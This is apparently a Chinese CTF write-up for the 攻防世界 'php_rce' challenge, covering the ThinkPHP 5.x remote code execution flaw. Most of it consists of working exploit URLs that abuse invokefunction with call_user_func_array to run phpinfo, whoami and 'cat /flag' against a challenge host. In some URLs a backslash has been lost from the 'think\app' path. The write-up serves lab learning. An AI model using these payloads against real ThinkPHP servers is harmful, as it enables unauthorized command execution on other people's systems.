CTF-攻防世界-web-php_rce(ThinkPHP5.x < 5.1.31, <= 5.0.23)

ThinkPHP 命令执行漏洞5.x < 5.1.31, <= 5.0.23

参考:https://www.cnblogs.com/backlion/p/10106676.html

这是一个远程代码执行漏洞,先学习vulhub复现这个漏洞的过程:

输入:http://your-ip:8080/index.php?s=/Index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1,可执行phpinfo:

拉到页面底部,看到ThinkPHP的版本是5.0.20:

 

可以执行phpinfo,那可不可以执行其他命令呢?查了一下网上的payload,如下:

输入:http://your-ip:8080/index.php?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

返回:www-data www-data

 

http://220.249.52.133:49560/index.php?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag 得到答案

 

原文地址:https://www.cnblogs.com/trevain/p/13717785.html